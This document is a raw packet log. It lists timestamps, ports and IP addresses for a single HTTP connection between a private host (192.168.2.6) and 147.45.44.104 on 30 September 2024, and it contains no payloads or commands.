Sep 30, 2024 13:59:40.006071091 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006083012 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006093025 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006093025 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006104946 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006107092 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006115913 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006127119 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006134987 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006167889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006181002 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006194115 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006202936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006212950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006223917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006227970 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006237984 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006268024 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006366968 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006378889 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006390095 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006400108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006409883 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006418943 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006419897 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006429911 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006432056 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006447077 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006449938 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006464005 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006475925 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006484985 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006495953 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006501913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006501913 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006525040 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006537914 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006544113 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006555080 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006566048 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006567001 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006592989 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006614923 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006647110 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006659985 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006669998 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006680012 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006685972 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006695986 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006701946 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006709099 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006720066 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006726027 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006748915 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006771088 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006778955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006789923 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006798983 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006810904 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006819963 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006829023 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006830931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006854057 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006870031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006882906 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006891966 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006896019 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006908894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006918907 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006921053 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006931067 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006932020 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006953955 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006956100 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006963968 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.006968975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006989002 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.006999969 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007000923 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007013083 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007023096 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007040024 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007050991 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007126093 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007138014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007148027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007158995 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007169008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007174015 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007179022 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007194042 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007194996 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.007205963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.007234097 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.092772961 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092788935 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092812061 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092824936 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092835903 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092849016 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092848063 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.092860937 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092875004 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092880964 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092941999 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.092953920 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092971087 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.092988968 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093008995 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093029976 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093041897 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093065023 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093076944 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093086958 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093095064 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093095064 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093096972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093122959 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093127012 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093136072 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093141079 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093147993 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093159914 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093161106 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093173027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093173981 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093190908 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093219995 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093259096 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093297958 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093349934 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093377113 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093385935 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093398094 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093409061 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093415022 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093420029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093430996 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093439102 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093450069 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093455076 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093460083 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093466043 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093477011 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093485117 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093492031 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093498945 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093516111 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093521118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093533039 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093543053 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093543053 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093552113 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093555927 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093566895 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093580008 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093592882 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093605042 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093611956 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093621969 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093626976 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093635082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093646049 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093656063 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093657017 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093667984 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093669891 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093698025 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093698978 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093708038 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093710899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093739986 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093749046 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093750954 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093761921 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093800068 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093816996 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093828917 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093838930 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093851089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093861103 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.093864918 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093883038 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.093900919 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094429016 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094441891 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094453096 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094472885 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094476938 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094485998 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094496965 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094496965 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094510078 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094530106 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094554901 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094602108 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094614029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094624043 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094644070 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094651937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094659090 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094670057 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094672918 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094681978 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094692945 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094703913 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094703913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094715118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094727993 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094733000 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094739914 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094753981 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094758987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094764948 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094774008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.094791889 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094804049 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.094938040 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095014095 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095026970 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095036983 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095055103 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095062017 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095066071 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095074892 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095088005 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095093012 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095101118 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095104933 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095129013 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095159054 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095843077 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095855951 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095866919 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095876932 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095885992 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095897913 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095899105 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095918894 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095928907 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095932007 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095942974 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095957041 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095963955 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095976114 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095982075 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.095988035 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.095998049 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096007109 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096009970 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096031904 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096033096 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096045971 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096056938 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096060991 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096070051 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096071959 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096081972 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096093893 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096098900 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096105099 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096117020 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096122980 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096127987 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096151114 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096154928 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096163034 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096167088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096179008 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096183062 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096199989 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096215010 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096231937 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096242905 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096282005 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096292973 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096303940 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096314907 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096338034 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096364975 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096378088 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096386909 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096396923 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096409082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096416950 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096420050 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096437931 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096445084 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096451044 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096472025 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096494913 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096497059 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096508980 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.096537113 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.096549034 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181360006 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181375027 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181386948 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181399107 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181433916 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181451082 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181463957 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181476116 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181483030 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181488991 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181495905 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181524992 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181540966 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181564093 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181576014 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181616068 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181701899 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181718111 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181730032 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181740999 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181741953 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181746960 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181756973 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181767941 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181783915 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181786060 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181796074 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181806087 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181812048 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181817055 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181823015 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181833029 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181838036 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181844950 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181865931 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181874037 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:40.181893110 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:40.181905985 CEST	49723	80	192.168.2.6	147.45.44.104
